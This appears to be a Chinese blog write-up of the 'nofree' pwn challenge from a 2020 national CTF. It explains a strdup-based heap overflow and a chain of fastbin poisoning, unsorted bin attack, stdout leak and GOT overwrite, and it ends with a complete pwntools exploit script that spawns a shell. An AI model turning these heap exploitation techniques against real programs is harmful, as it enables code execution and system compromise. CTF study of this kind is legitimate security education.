1. 程式人生 > 實用技巧 >2020 第十三屆國賽

2020 第十三屆國賽

nofree:

漏洞:

程式提供了一個Add和Edit函式,函式比較簡單,就不分析了。這題的漏洞點在於用strdup函式來開闢堆。strdup函式是通過計算字串的長度來確定堆的大小。如果我們在Add時輸入大小為0x90,但輸入的字串只有0x10大小,那麼在呼叫Edit函式時就存在堆溢位。

利用思路:

0x01

分配一個chunk,利用堆溢位修改top_chunk的size,在分配一個size大於top_chunk的chunk,這個原來的top_chunk就會free掉。這裡要注意的是實際放入bins中的chunk大小是top_chunk的大小減去0x20。

這裡預留最後的top_chunk的大小為0xa1,這樣free掉後就會放入fastbin中,方便接下來的利用。

0x02

修改fastbin中chunk的fd指標為0x6021c0,此處是chunk地址的存放處。注意索引為0的chunk大小,這樣malloc時才能繞過對chunk的size的檢查。

0x03

malloc堆,這樣就能控制0x6021c0,如下:

0x04

再一次利用堆溢位修改top_chunk的size,不過最後top_chunk的大小要保留為0xb1,這樣在free後才會放入unsorted bin中。如下是top_chunk在記憶體中的示意:

0x05

修改unsortbin中chunk的fd bk指標,利用unsortbin attack在0x6021d0處寫入資料。

被修改的fd,bk指標

觸發unsortbin attack後0x6021d0處的值

0x06

本地測試環境libc版本是2.23,修改0x6021d0中低四位來爆破出stdout,如下:

0x07

修改strout來洩漏libc的基址

0x08

修改got中atoi為system函式,傳入/bin/sh,getshell

完整exp如下:

#!/usr/bin/python3
#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6
') def Add(index, size, content, p): p.sendlineafter('choice>> ', '1') p.sendlineafter('idx: ', str(index)) p.sendlineafter('size: ', str(size)) p.sendafter('content: ', content) def Edit(index, content, p): p.sendlineafter('choice>> ', '2') p.sendlineafter('idx: ', str(index)) p.sendafter('content: ', content) def exploit(): p = process('./pwn') # 控制fastbin 控制0x6021c0 Add(0, 0x81, 'A'*0x10, p) # 修改top_chunk的大小 Edit(0, b'A'*0x10 + p64(0) + p64(0xfe1) + b'\n', p) for i in range(24): Add(1, 0x90, 'A'*0x90, p) Add(1, 0x90, b'A'*0x30 + b'\n', p) # 剩下的top_chunk會放入fastbin中 Add(2, 0x90, 'A'*0x90, p) # 分配chunk控制0x6021c0 Edit(1, b'\x00'*8 + p64(0x81) + b'\x00'*0x28 + p64(0x81) + p64(0x6021c0) + b'\n', p) Add(0, 0x81, 'A'*0x70, p) Add(0, 0x90, 'A'*0x70 + '\n', p) # 構造unsortbin attack Add(1, 0x90, 'A'*0x10 + '\n', p) Edit(1, b'\x00'*0x18 + p64(0xf41) + b'\n', p) for i in range(23): Add(1, 0x90, 'A'*0x90, p) Add(1, 0x90, 'A'*0x70 + '\n', p) Add(1, 0x90, 'A'*0x20 + '\n', p) Add(1, 0x90, 'A'*0x90, p) Add(1, 0x90, 'A'*0x10 + '\n', p) # 改寫unsortbin的fd bk指標 Edit(1, b'\x00'*0x18 + p64(0x71) + p64(0) + p64(0x6021c0) + b'\n', p) # 觸發unsortbin attack Add(2, 0x90, 'A'*0x60 + '\n', p) # 利用部分寫將其修改為stdout,需要爆破,十六分之一的概率 Edit(0, '\x20\x26', p) # 修改stdout結構體,leak地址 Edit(1, p64(0xfbad1800) + p64(0)*3 + b'\x00', p) # 接收打印出的地址 try: p.recv(0x18) libc_base = u64(p.recv(6) + b'\x00\x00') - 0x3c36e0 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) system = libc.symbols['system'] bin_sh = next(libc.search(b'/bin/sh')) info("bin_sh ==> " + hex(bin_sh)) info("system ==> " + hex(system)) if (system >> 40) != 0x7f: p.close() return 0 # 修改got表中atoi的值 Edit(0, p64(0x602058), p) Edit(1, p64(system), p) #gdb.attach(p) p.sendlineafter('choice>> ', '/bin/sh\x00') p.interactive() p.close() return 1 except: p.close() return 0 if __name__ == '__main__': while True: a = exploit() if a: break